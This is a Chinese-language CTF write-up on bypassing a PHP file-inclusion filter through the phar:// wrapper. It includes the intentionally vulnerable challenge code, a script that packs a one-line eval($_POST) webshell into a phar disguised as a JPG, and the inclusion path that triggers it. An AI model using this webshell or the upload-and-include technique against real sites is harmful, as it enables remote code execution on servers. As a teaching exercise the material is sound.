题目主要分为两个文件
include.php
<html>
Tips: the parameter is file! :)
<!-- upload.php -->
</html>
@$file = $_GET["file"];
if(isset($file))
{
if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
upload.php
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
if(!empty($_FILES["file"]))
{
echo $_FILES["file"];
$allowedExts = array("gif", "jpeg", "jpg", "png");
@$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
|| (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
|| (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
&& (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
{
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"];
}
else
{
echo "upload failed!";
}
}
?>
通过代码可以看到,对于文件上传的限制是非常严格的,同时在include.php中也做了文件名的限制,只允许包含php文件,但是我们只能上传图片格式。所以这里可以联想到phar的文件压缩。
新建一个文件夹,然后在里面创建两个php文件,其中一个文件里面写入一句话木马,另外一个则用来生成phar文件。
1.php
$phar=new Phar('my2.phar');
$phar->buildFromDirectory(__DIR__,'/index.php/');
$phar->compressFiles(Phar::GZ);
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('index.php'));
index.php
eval($_POST['shell']);
运行后会生成一个my2.phar文件,给改为jpg格式,然后进行上传。
使用phar://upload/my2.jpg/index来触发压缩的index.php里面的一句话木马,然后获取flag。
原理分析
Phar协议为PHP内置对象,可以直接实例化引用。
Phar文件是一个文件的集合文件,或者称之为压缩文件也可以。
在这道题目中通过buildFromDirectory函数来调用当前目录下的index.php构建phar文档。
之后通过compressFiles函数进行phar文件的压缩,其中的Phar::GZ为压缩类型,目前默认支持的压缩类型为Phar::GZ、Phar::BZ2。
最后通过setStub来设置通过createDefaultStub创建的phar存根,phar文件在触发时会通过存根文件开始运行。
如下
我们有两个文件,单独放置在cc目录下
通过指定存根文件为index.php,来生成phar文件,此处需要理解phar文件是一个文件压缩的集合。
当我们包含这个phar文件时,就会通过存根文件触发ss.php里面的代码。
原文始发于微信公众号(白帽子社区团队):CTF-phar为协议分析(文末转发奖励)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论